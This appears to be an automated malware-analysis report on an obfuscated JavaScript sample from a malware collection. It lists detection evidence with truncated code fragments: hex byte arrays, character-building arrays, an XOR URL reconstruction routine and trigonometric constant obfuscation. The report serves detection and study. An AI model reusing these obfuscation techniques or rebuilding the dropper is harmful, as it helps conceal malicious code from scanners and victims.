Suspicious ^80% javascript-malware-collection Download

20151217_91938580549f5242360aef1054552553.js

Heavy obfuscation with eval and XOR URL reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2561075e812fb20a6881f03ea7cfa86cda340a1925987021541d7517eddfecbf276

Evidence

0xff hex byte token line 1

1:199… xbe,0xc6,0xc9,0xcd,0xd2,0xd9,0xdc,0xe5,0xea,0xee,0xf1,0xf9,0xfb,0xff,0x108,0x10b,0x10e,0x115,0x11b,0x11d,0x123,0x127,0x130,0x133,0x13a,0x13d,0x144,0x149,0x14d,0x150,0x155,0x159,0x15f,0x163,0x169,0 …

Builds characters with String.fromCharCode line 2

2:162… ' ','T','{','e','-','t','h','Q',']','G','u','g',',',']','[','V',String.fromCharCode(10),'j','#','F','a','L','g','6','*','r','`','E','x','(','B',String.fromCharCode(13),'l','c','L','4','W','a','=','&','`','z','E' …

XOR URL reconstruction call line 2

2:778… 'A','$','z','%','u','x','r','F','&','T','^','h','"','3','=','$',String.fromCharCode(39),'e','L','(','"','3','y',')','L','Q','H',']','*','o','`','q','?','^','V','+','V','A',',','Y','!','.','Y','k','$','%','3','-','0','=','!',')','.','*','T','P','/','c','l','0','I','D',')','#','$','W …

Dense indexed short-token grid lines 12–13

12:33… JlocGio,mRrTRTOFVDO) {ptOyZGqtHMWRyQ[tdsPnQJlocGio]=mRrTRTOFVDO;}
13var p = new Array();p[0]=[];p[0][0]='d';p[0][1]='a';p[0][2]='d';p[0][3]='a';p[0][4]='46';p[0][5]='3d';p[0][6]='42';p[0][7]='14';p[0][8]='2j';p[0][9]='14';p[0][10]='25';p[0][11]='14';p[0][12]='16';p[0][13]='47';p[0][14]='3k';p[0][15]='3d';p[0][16]='44';p[0][17]='3g';p[0][18]='3l';p[0][19]='3g';p[0][20]='49';p[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],p[4],p[5]];
20var MJhupirmP=[];
21function bjSCvHNhRRYcuWdHm(goiDJ){uVjsmMwNPWP= '';PrErEfhZhff=Math.round((Math.pow(Math.sin(457), 2) + Math.pow(Math.cos(457), 2) - 1));while(true){if (PrErEfhZhff >= (2567+337)/484){break;}MJhupirmP[PrErEfhZhff]=Math.round((Math.pow(Math.sin(464), 2) + Math.pow(Math.cos(464), 2) - 1)); while(true) { if(MJhupirmP[PrErEfhZhff] > goiDJ[PrErEfhZhff].length-(-520+802)/282) { break; } if (VSQDaCJ(OGJsQ(goiDJ[PrErEfhZhff][MJhupirmP[PrErEfhZhff]],(21930+806)/812,(1414+816)/223))) {uVjsmMwNPWP += pRmjiGCKhKrsdkJQrCPRWlmBACrjtyptiKrWbuzWSePjufXaTDxUeA([goiDJ[PrErEfhZhff][MJhupirmP[PrErEfhZhff]]], Math.round((Math.pow(Math.sin(954), 2) + Math.pow(Math.cos(954), 2) - 1)));} MJhupirmP[PrErEfhZhff]++;}PrErEfhZhff++;} return uVjsmMwNPWP}
22var yoieDfDWpEhxsTvHqSzaDcEPmpMAmJEnb = 'rqiBeYnDfjgwQWIFAhUSJFttOqhRUJxZPgcY';var TYPNYJmItSlJcjMPYDMUXHPFqLDtGLAs = 'OxjccIoSJgAMqXRtYasJOTDLVWBHVVQjsFjj';YISkcYFlnErIqWu(bjSCvHNhRRYcuWdHm(goiDJ),yoieDfDWpEhxsTvHqSzaDcEPmpMAmJEnb,TYPNYJmItSlJcjMPYDMUXHPFqLDtGLAs);